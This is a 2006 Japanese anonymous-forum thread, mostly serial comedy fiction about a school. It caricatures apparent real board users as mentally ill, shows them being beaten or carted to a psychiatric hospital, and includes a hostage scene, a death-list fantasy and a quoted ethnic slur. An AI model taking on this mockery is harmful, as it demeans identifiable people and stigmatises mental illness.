林間「俺の心がかんしゃくおこす!1!!!吉田を倒せと轟き叫ぶぅ!!1!!!
爆熱!111!ゴッドかんしゃくおこすぅぅぅううぅううぅ!!!!1!11!」
林間が吉田に体当たりをしようと突っ込んでくる。吉田がそれを避けると、
林間はそのまま窓に突っ込み、ガラスを割り、4階の窓から地面に落ちていった。
林間「吉田!!!1!!お前は俺の…」
林間が何かを叫んでいたが、言い終わる前に地面に激突、虫の息になった。
遠くから救急車のサイレンが近づいてくる。どうやら騒ぎを聞きつけて他のクラスで
授業をしていた先生が呼んだのだろう。非常にタイミングよく、松沢の黄色い救急車が
校庭にすべりこみ、林間を担架に載せ、車内に入れ、また走り去っていった。

274 :ボクが嫌われるのは誰のせい?:2006/10/26(木) 09:59:23 ID:s/5dnx0V
おっと、かぶっちゃいました、失礼。

275 :最近林間が来ない真の理由:2006/10/27(金) 16:41:41 ID:IRUXeK+w
教頭「国崎君」
担任「はい?」
教頭「今日も林間君は来てないじゃないか!一体何を指導しているのかね!」
担任(教頭うぜえ・・・)「・・・はい、一応家に電話をしているのですが、『愛国者として
やるべきことがある』という留守電残して連絡が取れなくて・・・」
そこに、質問をしようと職員室にやってきたコヴァ登場
担任「おい、コヴァ。林間が何してるか知ってるか?」
コヴァ「林間先生でしゅか・・・、そういえば・・・
ttp://marigold.kululu.net/lune/miko/index.html←コレをやると言ってた
でしゅにょ」
担任と教頭は無言になった。そして教頭が口を開く前に担任は無言で職員室を出て行った。

次の日、顔を変形させた林間が学校に来た

276 :名無しかましてよかですか?:2006/10/27(金) 18:07:15 ID:ArFvMqZQ
読んでてキモいのそっくりだと思った…。

ttp://www.tuins.ac.jp/jm/library/kiyou/2006kokusai-PDF/higuchi2.pdf
ttp://www.tuins.ac.jp/jm/library/kiyou/2005kokusai-PDF/higuchi3_.pdf

277 :名無しかましてよかですか?:2006/10/27(金) 23:30:40 ID:lxvI38QZ
>>269-272
人名にワロタ。

>「うっさい死ね」
それって大阪府警の「対林間」の
合言葉になりつつあるな。

278 :名無しかましてよかですか?:2006/10/28(土) 00:30:25 ID:NR8d11GN

学会から追放されたそのくやしさは忘れはしない
2chを旅して目についたゴー板をかならず支配する。
千葉よ攻撃の時は来た
ウォーじゃよ
私は思想家。零戦inコヴァ なのだ

誰にも負けない頭脳があればどんなものでも恐れはしない。
真性保守の威力見せ思想統制企てる。
真保よさあやれ
アケオメ砲ー
私は愛国者。弐虎競食の計なのだ。

自分の理想と目的もって強く生きてるそのはずなのに、
社会の敵だといわれると、ファビョーンするほど腹が立つ
我々の力のほどを見せてやれ
ウグゥッ
私は思想家 一人一冊 林間だ。



>>270の「私は学会を追われた」に反応して作ってみました。
元歌は「宇宙猿人ゴリ」です。マッドサイエンティストの歌としては
元祖と言って良い歌ですが、7割以上も元歌のままで林間用に
通用してしまった・・・

279 :名無しかましてよかですか?:2006/10/28(土) 03:20:42 ID:YWtmWn3y
ゴリ博士は、最終回、正義の味方のスペクトルマンをして
「お前の才能は惜しい。生き延びて宇宙の平和の為にその才能を使え」と言わしめるほどの有能の士
しかも、その差し伸べられた手を振り切って、戦死した部下のラーを後追いして自決

ゴリ博士にあやまry


280 :名無しかましてよかですか?:2006/10/28(土) 07:40:45 ID:I9ypdBBL
>>275
ついに林間も「巫女萌え」に走ったか・・・・・・・。

281 :名無しかましてよかですか?:2006/10/28(土) 13:00:19 ID:Q9ccvPbQ
紳士スレのMP3君のいじめられっこ臭がドンドン強くなってきているな。
あのまま発酵すれば、ここの新キャラとしてネタにできるかも。


282 :名無しかましてよかですか?:2006/10/28(土) 13:13:12 ID:I9ypdBBL
>>281
ティキ氏とほぼ同時に降臨しているのに、
絡む事も出来ないヘタレだからな。


からんで特三化するところをリアルで見たかったんだけどなwwww

283 :名無しかましてよかですか?:2006/10/28(土) 13:37:06 ID:TZCHoukB
mp3がいじめられっこなのは多分ガチ。

普段ぽろぽろもらしている、
「ボクチンのヘイトスピーチが出来る場所が無い!」
と、今日のようなあからさまな妄想(教師にもいじめられるってなぁ…)が、まるきり正反対。
多分、彼のヘイトスピーチで引き起こした実体験なのでしょう。

そもそもの問題として本スレではヘイトスピーチを繰り返す、
誰も北朝鮮を擁護しろなんて一言も言っていない。
あの回答者も現実世界がうまくいけばそんな発言もなくなるでしょう
って言っているだけ。

どうもあの回答がかなり癪に障ったようで…

そりゃ場の雰囲気もわきまえずに、「チョン小チョンこ氏ね」って
わめいていたら現実世界じゃ孤立するわなw

リアルで生活していれば話題なんてほかにもいっぱいある。
それが理解できないんだるねぇ…

あとあのボクチンバンドやっている彼女がいるって自慢もなんか紅葉とおなじにほいが…
なんでその手の人間って聞かれもしないのに、薄っぺらな私生活自慢するんだろう。



284 :秋の毒書、もしくは大予言:2006/10/28(土) 14:58:39 ID:nNlmy1kS
いつもの政経の時間
林間「ククククク、秋と言えば読書の秋だね諸君。まあ、エロゲーやアニメのことで
頭がいっぱいの吉田やコヴァにはわかんねーだろーけどなっっ」
早速林間が三人に絡み始める。
コヴァ「別にボクチンだって本ぐらい読みますにょ」
林間「じゃー何読んだか、どんな作家か言ってみろ!どうせ大江とかだろっっ」
コヴァ「ボクチンは興人社から出てる軍記物が最近好きですつ。あと、作者は
サヨンボですが銀勇伝(銀河勇者王伝説)が好きですつ」
鳥坂「オレはやっぱ司馬さんかなあ・・・」
吉田「中島敦が好きですね。山月記の」
林間「ハッ、だからコヴァはこいつらと仲良いんだよ。全く駄目だなっっ」
コヴァ「二人に言及しないのは何故ですかね?」
林間「私みたいに、外国の古典に親しまなければ・・・」
鳥坂「三国志とか?」
吉田「いや、スエーデン直輸入とかだろ、きっと」
林間「やっぱり吉田はバカだなあ!!!11!もっと本を読んで教養を深めろ!!111」
吉田「とか言っても本居宣長と吉田松陰混同するヤツだし・・・」
林間「うるさい!!11吉田は黙れかんしゃくおこす!11!!!」
コヴァ「で、先生は一体何を読んでいるのでしゅか?ボクチン、ちょっとだけ興味を
持ったですつ」
林間「フフフフ・・・、聞いて驚くな、『レ・ミゼラブル』だ」
鳥坂「えっ、マジ?」
林間「フフン、吉田には絶対読めないだろ、お前はバカだからなー。そこでかんしゃくおこしてろっ」
吉田は黙って林間を見ている
コヴァ「で、先生。一体どこが気に入ったんでしゅかね?」
林間「ああ、それはな・・・」

285 :秋の毒書、もしくは大予言:2006/10/28(土) 15:00:05 ID:nNlmy1kS
林間「んーとね、えーとね、コゼットたんっていう女の子が金髪碧眼で周りから虐められていて
もうそのことに拙者の愚息は、もうね、うん」
ゴゴゴゴゴゴゴゴゴゴゴゴ
コヴァ「・・・何かおかしくないでしゅかね?」
鳥坂「うん、何処がとは言えないけど何か変だ」
そこで吉田がおもむろに口を開いた。
吉田「林間センセイ、実は『レ・ミゼラブル』、私子ども向けのを小学生の時に読んだんですよ」
林間「ふっ、大人向けと子ども向けは違うぞ。残念だったな」
吉田「別にそれを問題にするつもりはないですよ。ただ、そのコゼットという少女について
なんですが、私の読んだ方ではブルネットと言うことになってましたが」
林間「ブルネット?なんだそりゃ」
吉田「簡単に言うとブルネットは茶色の髪に茶色の肌です。まあ、正直に描写してしまえば
ボロを身に纏ってますし渋谷のギャルサーになってしまいますから多少の変更はやむを得ない
でしょうね、子ども向けアニメでは」
林間「!111???」
吉田「実はこの前、ワロス子どもアニメ劇場が復活すると聞いて、調べたんですよ。
そうしたらヒロインがwww.nippon-animation.co.jp/lesmise/←こうだったんですが」
林間「・・・・、よ、吉田のクセに生意気だぞ!かんしゃくおこす!111!!」
吉田「じゃあ、最後に一言だけ、『レ・ミゼラブル』の作者は一体誰ですか?」
林間「・・・えっとー、そのー、トンプソン夫人?」
吉田「誰ですかソレは。ヴィクトル・ユーゴーですよ。じゃあ主人公の名は?」
林間「こ、コゼットたん・・・」
吉田「ジャン・ヴァルジャンも知らないんですか、貴方には『レ・ミゼラブル』の
直訳題を捧げますよ。『哀れな人々」って」
林間「な、ななななんだとー。吉田のクセに生意気だぞー、かんしゃくおこす!11!!!」
勿論その後可及的速やかに林間は病院に送られた。

286 :名無しかましてよかですか?:2006/10/28(土) 19:56:34 ID:I9ypdBBL
>>284-285
うーん、なんつうか、
昔名作劇場で「小公女セーラ」をやった時も、
アレのはしりみたいな奴らが、「ハアハア状態」
になって、エロ同人とか作りまくっていたらしいが。


「歴史は繰り返す」って事か?

287 :名無しかましてよかですか?:2006/10/28(土) 22:53:27 ID:NR8d11GN
>>286
セーラどころかハイジやムーミンの時代からその手のものはあるが。

288 :名無しかましてよかですか?:2006/10/29(日) 11:54:46 ID:z5eWZojO
>>286
やはりキモオタは最低の下衆野郎ってことだな。

289 :名無しかましてよかですか?:2006/10/29(日) 12:07:56 ID:z5eWZojO
>>285

キモ味も登場させてやれよw

キモ味「ボクちんは、鈴宮ハルヒの憂鬱だよもん!」
吉田「途中まで読んだけど、お兄さんには無理でした。何この中二病」
キモ味「うぐぅ。ひどいよ。 しかし、ミクルちゃんはかわいいな ハァハァ
吉田&コヴァ「キモイから市ね!」
キモ味「またまた〜〜ぼくが可愛いからって嫉妬しないでください!
コヴァ「キモイのはもう、俺らの仲間じゃない! ええい、近寄るな!」
キモ味「お前らの方がキモオタだ! かんしゃく起こすよ! 起こされたくなかったら謝罪しろ!」
吉田&コヴァ「キモイのは無視無視。」

290 :名無しかましてよかですか?:2006/10/30(月) 01:47:30 ID:KpPq31u1
>>276

同性の男にストーカーまがいするは、ボディタッチをしたがるは、って…。

291 :名無しかましてよかですか?:2006/10/30(月) 04:42:55 ID:C5/7/YvS
>>276
それを書いた樋口って先生もなんか気持ちの悪いものを感じるよ・・・・偉そうなこと書いてても
その準ひきこもりっていうのがそのまま運良く問題にならずに修士→博士と進んだのが今日の教授先生方なんだろうな・・・。
毒が強すぎちゃうと林間みたいに途中で学校から拒絶されちゃうんでしょうけど・・・・。


292 :名無しかましてよかですか?:2006/10/30(月) 10:01:42 ID:9i1maGcy
>>289
えーと。

横で誰かが「やっぱ消失バージョンの長門だろ」とつぶやき
肝平は「焼失って何?」ってボケをかますとか。

293 :名無しかましてよかですか?:2006/10/30(月) 10:07:37 ID:9i1maGcy
291は私に見えないモノが見えるらしい、と思いました。
つーかどこが「偉そう」なんだろう。

294 :名無しかましてよかですか?:2006/11/01(水) 10:51:21 ID:xBEtpNhH
『世界史履修単位不足問題』にコヴァをからめてきぼんぬ


295 :履修コマンドー外伝〜すごいよ教頭さん〜:2006/11/01(水) 15:01:52 ID:p7LD94Zz
和田「た、大変です。単位不足が漏れました!」
西尾「き、教頭。このカリキュラム勧めたのは教頭じゃないですか。責任は・・・」
教頭「まあまあ、和田進路主任も西尾教務も落ち着きたまえ」
担任「えっ、まさか認めるんですか?」
教頭「ああ、それぐらいは私が責任を取るさ。まー、カタチの上で一ヶ月分ぐらい
給料を減らすがな。国崎君と連帯で」
担任「な、なんでですかーーーーー」
教頭「むっふー、キミの母校が履修不足校というのは既に情報を入手済みだよ、国崎君」
担任「・・・(こ、こいつ・・・)」
教頭「まあ、幸いなことに理系だけで補習は済みそうだがね」
和田「しかし、誰が教えるんですか?私は数学ですよ」
西尾「私も英語ですし、地歴公民の教師は少ないのに、一体誰が・・・」
担任「・・・(まさかオレが全部やるんじゃあ・・・)」
教頭「なーに、安心しろ」
担任「ゲッ」
教頭「その『ゲッ』とは何かね国崎君」
担任「な、なんでもありましぇん・・・」
教頭「それはともかく、地歴公民には二人いただろう非常勤講師が」
担任「えっ」二人「それって・・・」
教頭「ああ、守本紳八君と林間カヅフサ君だ。二人とも地歴教えられるし、守本君は
博士課程まで出ている。問題はない」
担任「あのぉ・・・、教頭」
教頭「皆まで言うな、そもそもこの時期の補習なんて誰も聞かない。形だけ整えれば
良いんだよ国崎君」
ゴゴゴゴゴゴゴゴゴゴゴゴ
三人は、教頭がここまでのし上がった秘密を知ったような気分になった。

296 :名無しかましてよかですか?:2006/11/02(木) 23:05:28 ID:zfLBw4Kv
単位不足の問題で、急遽世界史の補習をすることになった海武学園。
で、その講師陣のメンバーの一人に選ばれた、このスレの主賓の推定林間氏

しかし授業の内容が、何故か「北欧神話」の事ばかりで・・・・・・。


ってな話をリクエスト。

297 :名無しかましてよかですか?:2006/11/03(金) 14:23:23 ID:tGzwePz9
その北欧神話もエロゲでデフォルメされた萌え設(ry

298 :名無しかましてよかですか?:2006/11/03(金) 14:25:41 ID:iB018VJs
それ以前にあいつが教育実習を無事にクリアしたことが有り得ないと思う

299 :ちょっと早いけど冬休み講習:2006/11/03(金) 22:00:16 ID:Se3vacnk
冬休み 海武学園
林間「それでは、冬休みの世界史の補習授業を始める。」
そう言いながら、林間はたくさんのプリントを配りだした。それを見た生徒達は噴いてしまった。
そのプリントには林間カヅフサ先生お気に入りの18禁ゲーム「戦乙女ヴァルキリー」
のプレイ画面が印刷されていたからである。もっとも白黒印刷なので画像はぐちゃぐちゃだが。
林間「授業のテーマは『北欧神話と戦乙女について』だ。吉田あたりが粘着してきそうなので
あらかじめ言っておくが、俺は神崎教頭先生から規定の授業時間を満たせるなら
俺の好きに授業していいといわれている。なので、内容の変更要請は受け付けない。」
吉田「林間先生、本気でこれを題材にするつもりなの?」
林間「おお、やっぱり予想通りド田舎北関東の腐れ精神科医の息子の吉田が
大得意の粘着を始めたか。もちろん、「戦乙女ヴァルキリー」をはじめとする資料を基に授業するぞ」
吉田「大馬鹿野郎!何処の世界にエロゲーを題材に歴史の授業をするバカがいるんだよ!!」
林間「な、『戦乙女ヴァルキリー』は単なるエロゲーじゃないぞ!!」
吉田「はいはい、キモ味の二番煎じみたいな事は言わんといてね。
『○○はストーリーがすばらしいからエロゲじゃない』とか『文学のようなもの』だとか。
普通の人から見れば、みんな一緒だから。」
肝井「はぁ?鍵は全年齢版があるからエロゲーじゃないし!!
林間先生のやっている性犯罪者養成ゲームと一緒にしないでください!!!!!><」
吉田「一緒一緒」
肝井「ファビョーン!!!!鍵ゲーはエロゲーじゃないって何回も言ってるだろ!!!!!!
いや、でも真性エロゲーオタの吉田君に「鍵も林間先生の好きなものもみんな一緒」と
言われたくないよwwwwwwwwwwwwwwwwwwwwwww
吉田君は年に何十本もやっているからとっても詳しいんだろwwwwwwwwwwwwww
今更一般人の振りしても遅いよwwwwwwwwwwwwwwwwwwwwwww」
吉田「アホらしい…俺をエロゲヲタだと思いたいんならそう思っておけば?
俺は会話のキャッチボールのできない馬鹿をこれ以上相手する気は無いから。最後に言っとくけど、
俺にどんなにレッテル貼り付けたところでお前に友達がいないという
惨めな現実に変わりは無いと言っとく。」

300 :ちょっと早いけど冬休み講習:2006/11/03(金) 22:02:55 ID:Se3vacnk
肝井「むぎゅっ!ひどいよぉぉぉ!!かまって!吉田君から無視られたらボク寂しいよ!!
おねがい!かまって!かまって!かまってー!!かまってくれないとデスノートに名前書くよ!!
ボクは八神雷斗(鍵っ子)!ボクは新世界の神だ!!!ボクこそ正義だ!!!!」
林間「吉田ぁーーーー!!!俺を無視するなかんしゃくおこす!!!!11!1!」
吉田「あぁ、悪い悪い、で、何で林間先生はエロゲなんかを題材に?」
林間「い、いいじゃないか!!最近音楽の教科書にもFFの音楽が載ったらしいし!!
歴史の授業でゲームを題材にしてもいいかなーなんちゃって」
吉田「まぁ、ゲームが授業の題材になることは結構前からありましたね。
私的なことですが、うちの下の姉が中一の時に使っていた
トンキン書籍の英語の教科書にもマリオの話題が出てましたし。」
林間「だろ!?だろ!?」
吉田「それとこれは別ですよ。やっぱり18禁ゲームを題材にするのはね…
まだ『ヴァルキリープロファイル』を題材にした方が授業として成り立つかと」
林間「なんでマリオやFFは良くてボクの大好きな『戦乙女ヴァルキリー』はいけないんだ
かんしゃくおこす!1!!!!11!…そうか!!!1!わかったぞ!11!!
やい、吉田!!1!!お前この授業潰すために俺に粘着してんだろ!!1!!
わかってるぞ11!そうか、お前がそういう邪悪な意思と目的を持っているなら
先生も仕方が無い、お前の出席を全部欠席にしてやるわ!11!!!」
吉田「ちょっと待てぇーーー!何でそういう結論になるんですか!?」
担任「はい、そこまで。林間、やっぱお前ダメだったか。」
教室前の廊下に担任がいた。

301 :ちょっと早いけど冬休み講習:2006/11/03(金) 22:03:54 ID:Se3vacnk
林間「く、国崎!?俺の神聖な授業に何の用だ!」
担任「教頭から頼まれたんだよ。お前が目に余るようなふざけた授業をした場合は
このクラスの世界史担当を俺に変えるってな。お前がこの授業をまともにやり遂げた場合、
教頭はお前を来年度から地歴公民の正教員として採用する予定だったんだぜ。
教頭はお前にかなり目をかけてくれたってのに、せっかくのチャンスを
いつも通りふざけて潰しやがって…ほら、帰った帰った。」
林間「でも国崎、一番悪いのは吉田だよ!!1!吉田が俺の授業に難癖を…」
担任「エロゲを題材に授業しようとしておいて吉田に責任をなすりつけんなぁーーーっ!!」
担任の右ストレートが林間の頬に突き刺さる
林間「げぶぅ」
担任は厳しい表情で林間に教室から出るように言った。
帰り道、冬の寒さが林間の身にしみた。

302 :ニート徴農機構編:2006/11/04(土) 11:11:32 ID:U1cYsNtm
東京霞ヶ関。ニート中略機構
素子「・・・理事長・・・」
ミノル「ワ、ワシはとうとう国から認められたーーーーーーーーーー」
素子「褒章もらって嬉しいのは分かりますが、一体何故私をここに呼んだのですか?」
ミノル「あ、・・・コホン。えー、キミをここに呼び出した時点で要件はわかっとるだろ」
素子「・・・林間カヅフサの件ですか?」
ミノル「そう、それじゃ!もしここであやつが性犯罪や重篤な犯罪を犯したら
もう、もう、ワシの名誉は地に落ちて・・・」
素子「あのう・・・」素子はうんざりしかけていた。その時
ミノル「素子クン!」
素子「ハッ」
ミノル「今回こそ、林間カヅフサを捕らえて社会から隔離するんじゃ!社会のためにっっ」
素子「・・・・」
素子は何かを思ったが、口を閉ざした。

マッチョ「で、今日は学校ですか」
素子「ああ、さすがに理事長でもカヅフサが働いていることを知れば諦めるだろうと
思ってね」
マッチョ「しかし、困ったものですね。あの理事長にも・・・」
そこに一人の女が来た
免下「ムッ」
素子達とマッチョメンを見るとその若い女(女医らしく白衣を着ている)は顔色を変えた。
免下「そこー。さぼってるんじゃない」
マッチョ「えっ」
免下「良いから貴方達も持ち場に着きなさい。さあ」
素子「えっ、あの、ちょっとちょっと・・・」

303 :ニート徴農機構編:2006/11/04(土) 11:12:59 ID:U1cYsNtm
私立海武学園
林間「ヴァルキリーと会わせないとこいつらに危害を加えるぞっっっ」
えーと要するにいつものように授業中林間が無茶苦茶なことを言ってコヴァ達とケンカ、
しかし、いつもなら自滅して終わりだけど常勤への道が絶たれ>>301機嫌が悪く激しく
かんしゃくを起こした林間はコヴァ達を人質に教室に立てこもったと言うことらしい。
林間「えーい、今日はもっともっとかんしゃくおこしてやる!ヴァルキリーたんの他に
フレイアかスクルドかフェンリルも連れてこい!オレはデュークだ!11!!」
鳥坂「ほんまもんの可哀想なヒトになったな・・・」
コヴァ「コメント差し控えますにょ」
吉田「リースはいらんのでスか?(ニヤリ」
林間「余計なことを言うなかんしゃくおこす!1!!11!!!」
コヴァ「・・・もう、だめぽですにょ」

免下「と言うことで大変なことになってる。既にヨシダは可愛い弟のために・・・」
ヨシダ「じゃーーーーん」
ヨシダはヴァルキリーの鎧を身につけていた。
免下「こういうことになってる。しかし、ヨシダ、弟のためにそこまでやるか・・・
私なら即座に照明弾と催涙ガスで・・・」
ヨシダ「楽しいじゃないですかぁ(はぁと」
免下「・・・分かった。もういい。そこで松沢軍団の数少ない女子である貴方にはこの
衣装を・・・」
免下は素子の方を向き、素子の目の前にはエロゲ風鎧というかそういう代物が
素子「・・・・」
マッチョ「しかし、これは好都合ですよ。向こうは松沢軍団だと思ってるようです。
このまま林間を確保できれば・・・」
マッチョは小声で素子に囁いた。そして、素子は少し考えた後こう言った
素子「分かりました」

304 :ニート徴農機構編:2006/11/04(土) 11:14:20 ID:My+KM2eb
林間「ええい、ヴァルたんはまだかーーーーー」
鳥坂「逃げ出したいけどこいつ、手足を意外としっかりしばってるからにげられへん」
林間「フフフフフフ、エロゲーで覚えたぜー」
コヴァ「哀しい叫びでしゅね・・・」
そこに
××「デューク、デュークどこー?」
若い女の声が
コヴァ「誰か来たですにょ」
鳥坂「聞いたことある声やな」
吉田「ねーちゃんだ・・・きー姉ちゃんだ・・・」
想定はしていたとはいえうなだれる吉田、しかし林間は
林間「オッケースイートハニーーー」と声の方に飛んで行ってしまった。
コヴァ「行っちゃったでしゅね」
鳥坂「でも二人の声が聞こえたで。一人は吉田のねーちんだけど、もう一人は誰?」

林間が教室のドアを開けた。
林間「ハァハァ・・・待ってたよー」
目の前には某エロゲーのヴァルキリーとフェンリルのコスプレをした若い女がいた。
林間「さあ、これから一緒にワタシノコーを」
プス
林間「アレ?なんで腕に注射されるのかな?」
ヴァル「よーく、私の顔を見て下さいね」
林間はヴァルキリーの顔を良く見た。そういえばこの顔は見覚えがある。そして、
ヴァルキリーの金髪ヅラの下からは赤みがかかった髪の毛が・・・。
林間「ま・さ・か」
ヨシダ「ご名答(はぁと」

305 :ニート徴農機構編:2006/11/04(土) 11:15:08 ID:My+KM2eb
林間「変装なんて聞いてないぞかんしゃくおこすーーー!11!卑怯者!卑怯者!1!!」
ヨシダ「そもそも金髪碧眼ヴァルキリーを呼んでこいと言った時点で、私が来ることぐらい
予想してくださいね(微笑」
林間「そ、そうだ。このフェンリルたんは本物・・・」
と素子の乳に手を伸ばす林間。しかし、その手は瞬時に払われ、それを合図に松沢軍団が乱入
林間「うぽおおぽおおおおおおおおおおおおおおおおおおおおおおおお」

ヨシダ「勝利は空しいわね・・・」
吉田「ねーちゃん。絶対コスプレ中は親戚だって言うなよ・・・。なんとなく」

林間が捕縛され、黄色い救急車に移送されるとき奇妙な動きをするヤツがいた。
ニート中略機構のマッチョと素子だ。
軍団「おや、林間をどこに持っていくのですか?」
素子「(ドキッ)・・・・なんでも」
免下「そういえばおかしいな、さっき病院に連絡したんだが、更正キャンプから引き抜いた
女性軍団員は今日風邪で休んでいたみたいなんだが・・・」
マッチョ「ドキドキッ」
素子「いや・・・、さっき林間がトイレに・・・」
免下「トイレなら紙おむつあててるから別にいらんぞ」
マッチョ「そのぉ・・・」
免下「なーんか怪しいなあ・・・。まさか、政府のニート中略・・・」
マッチョ「あーーーー、そんなこと」素子「そんなこと言ったらバレ・・・」
   糸  冬  了
免下「そっか、ふーん、わかった。じゃあ」
素子・マッチョ「ギャーーーーーーーーーーーーーーーーーーーーー」
一週間後、ボロボロになった素子とマッチョ面がニート中略機構に郵送された。

306 :名無しかましてよかですか?:2006/11/04(土) 12:57:02 ID:/SlC+gMN
キモ味がキモイのは無能でしつこいかまってちゃんで、明らかにオタクなのにそれを必死に否定(「普通」である事に大きな価値を与えている)するからであってオタクだからじゃない。
そこら辺を勘違いしない方がいい。


307 :名無しかましてよかですか?:2006/11/04(土) 15:39:56 ID:D8SqoDEi
>>303-306
>えーい、今日はもっともっとかんしゃくおこしてやる!ヴァルキリーたんの他に
>フレイアかスクルドかフェンリルも連れてこい!オレはデュークだ!11!!」




ちょ、ちょっ、ちょっと待て!!!!!
それ人間としてすでに「終了」してんじゃん。

ところで「松沢軍団の女性軍団員」って、ちょっと興味ある。

308 :ある偉大なる妄想狂:2006/11/04(土) 23:52:52 ID:JDVfVc8g
ボクは八神月之助。鍵っ子の高校二年生だ。
眉目秀麗、成績優秀、スポーツ万能、そんな完璧な人間がボクだ。
しかし、周りの人間のレベルの低いこと低いこと。嬉しげに日々のくだらない事象の雑談や
漫画やゲームなどの趣味の話題で騒いでいる。なんてくだらない愚民どもだろうか。
そんなことしている暇があれば、理系たんのありがたい物理のお話を聞いたり、
鍵ゲーやエヴァ、ハルヒやひぐらしのすばらしさを語りあう方が面白いに決まっている。
語り合う相手がいないって?そりゃそうだ。
ここの連中はボクの頭の程度についていけないからだ。
天才というのは孤独なんだ…ボクは奴らの際限無いやかましいだけの騒ぎ声に
だんだんむかついてきたので、机からノートを取り出した。
これは名前を書いた相手の命を奪える魔法のノートだ。最初の標的は
あのデブと関西弁と真性エロゲーオタクの三人組だ。
「木場広 吉田繁 鳥坂明
3分後に自分たちがエロゲーオタのキモオタであることを率直に認め、鍵っ子に対し謝罪し、
自宅で首をつって自殺。自殺日時は木場広が3日後の朝、吉田繁が10日後の深夜、
鳥坂明が14日後の夕方」
これで完璧だ。神に逆らったことを後悔するがいい!!わはははははははははははは!!!
「…味!聞いてるんでしゅか!おい、キモ味!」

肝井「わははははははははははは!!!!!ボクは神!!I am God!ぶじゅるぶじゅる」
コヴァ「ついに完全に気が狂ったんでしゅか?よだれ垂れ流しながらニヤニヤしてると思ったら
突然バカ笑いなんかしはじめて。おや、このノートは何でしゅかね?」
コヴァは肝井のノートの中身を見てあきれ返った。
コヴァ「…何のつもりでしゅか?デスノートごっこのつもりでしゅか?」
肝井「違うもん!!これは本物のデスノートだよもん!!
ボクは八神月之助!!!新世界の神だ!!神は正義なり!!」
吉田「ふーん、大学ノートに黒い画用紙貼り付けてご苦労なこった」
鳥坂「デスノートのスペルが違うぞ。『DETH NOTO』じゃなくて『DEATH NOTE』だぞ。」
肝井「あーん、ボクの秘密兵器ー!返してー!」

309 :ある偉大なる妄想狂:2006/11/04(土) 23:58:19 ID:JDVfVc8g
吉田「いいかげん大人になれよ。17歳にもなって漫画の主役になりきって恥ずかしくないの?」
肝井「うるさい!ボクは精神破綻者のエロゲーオタのいない平和な世界を作るために
デスノートを使っているんだ!!ボクが正義だ!」
鳥坂「…ここ最近ますます日本語が通じんようになってきたな、おい。
お前はジバクと同じで一方的に妄想垂れ流すだけの会話のできない壊れたオーディオか?」
コヴァ「全部自分にブーメランしてましゅね」
肝井「三分たったぞ!デスノートに書いたとおりに謝罪しろ!!」
鳥坂「…こらあかんわ、俺らの手に負えん。別世界の住人になっちゃってる。吉田、お願い」
吉田「はー、きい姉ちゃんからこれ以上仕事増やすなって言われてんのに…」
肝井が全身から緑色の汁、謝罪汁を垂れ流しているのを背に、
吉田はポケットから携帯を取りだして松沢に電話をかけた。

放課後、都立松沢病院
免下「肝井の症状は最近のうちの患者の流行パターンだ。
最近、現実と空想の区別があいまいな馬鹿が
ああいう漫画やアニメを見て発症する事例がうちではちらほら見受けられる。」
吉田「はぁ…で、奴の病気は治りますか?」
ヨシダ「雑作も無い事よ。普通の人ならね。でもキモちゃんの場合はそうはいかないわ。
そこで、以前も使った睡眠治療を受けさせることにしたの。」
ヨシダは様子を見に来た吉田、コヴァ、鳥坂の三人を連れてある部屋に通した。
そのなかには冷凍睡眠機のようなカプセルが数個あり、その中の一つで肝井が寝かされていた。
肝井がこの治療マシーンを使うのは三度目である。
一度目は治療の際に肝井が自分に都合の良い世界である夢の世界に引き篭もり、
担任にたたき起こされ、二度目は発狂したわけでもないのに、松沢に来て林間、千葉と共に
この睡眠治療器を性欲の捌け口として利用し、再び担任にたたき起こされている。

310 :ある偉大なる妄想狂:2006/11/05(日) 00:02:56 ID:jouu1XrE
ヨシダ「キモちゃんが寝ているのは最近できたキモちゃん、ジバクちゃん、
カヅちゃんたち専用の、つまり重度の患者の睡眠治療機として開発した
睡眠治療器、名づけて『ドリーミングmk-IV』よ。」
なるほど、肥満体型の肝井が寝ていても横幅にだいぶ余裕がある。
ヨシダ「この機械にはね、強力な電流が流れる仕組みになっていて
どんな人でも起こすことができるわ。そうそう、あそこのディスプレイに
キモちゃんが見ている夢のビジョンを見ることができるわよ。」
ヨシダがディスプレイの電源を入れると、そこには見も心も完全に、
デスノートの主人公になりきった肝井の姿があった。
肝井は一心不乱にノートに名前を書いている。そばにいる某死神が
羽の生えたハルヒなのはご愛嬌といったところか。
死神ハルヒ以外にこの世界のおかしな点を最初に発見したのは鳥坂だった。
鳥坂「おい、あの名前…」
鳥坂が指をさしたところには、鳥坂の名前があった。
コヴァ「あっ、あそこにボクチンのパパンの名前が!」
吉田「おい…うちの兄弟だけでなく親の名前まで書いてんぞ。何であいつが
俺のオヤジとお袋の名前知ってんだよ。あ、じいちゃんの名前もある!!」
それはおそらく、肝井の日々のストーカー活動の成果だろう。
吉田「なんだこりゃ…どれもキモ味が個人的にうらみを持っている人物や
うちの学校の先生ばかりじゃないか…まるで『月之助がバカだったら』
というifの世界をを見ているみたいだ。Lが出てこなくても簡単に逮捕されるよ、これ…」
ヨシダ「そろそろいいかしら。」
ヨシダはそういうと、ヘッドギアをつけた。
ヨシダ「このドリーミングmk-IVはこのヘッドギアをつければ、
脳波で外部から夢の世界へ干渉できるの。それじゃいくわよ」

311 :ある偉大なる妄想狂:2006/11/05(日) 00:05:03 ID:jouu1XrE
ヨシダはゆっくり瞑想を始めた。夢の世界では、パトカーのサイレンの音が
次第に近づいてきて肝井の家の前で泊まった。
そして、肝井は警察に逮捕され、パトカーに連れて行かれた。
そして現実の世界で10分が経過、肝井の夢の中ではいつの間にか裁判も終わっており、
肝井の死刑執行の日へと一気にとんでいた。
肝井in夢「い゛や゛だーー!!!ボクは死にたくなーーーーい!!!
だずげでー!!ママーー!!いやだーー!!!たすけてーーー!!だれかーーー!!」
ヨシダ「さて、もういいわね。」
それまで目を閉じて一言も喋らなかったヨシダが言った。吉田が睡眠治療器の
起床ボタンを押して肝井を目覚めさせる。
肝井「あ、あれ…?こ、ここは…」
ヨシダ「キモちゃん、夢の世界はどうだった?怖かったでしょ。」
肝井「さっきのは夢だったの?」
ヨシダ「そうよ」
すると、肝井は晴れ晴れとした顔でこう言った。
肝井「なーんだ、夢か!!現実だったら神であるボクを逮捕できるわけないからね!!!
ボクちんはみんなのアイドル!!みんなの人気者!!ボクがいると殺伐とした場所に
花が咲いたようだろ?感謝しろよ!!国崎先生最高!!ひゃっほう!!!!
さーて、今日もデスノートで裁きまくるぞーーーー!!!!ボクは神!!!!」
鳥坂「ぜんぜん治っとらんやんけ。むしろひどくなった気が…」

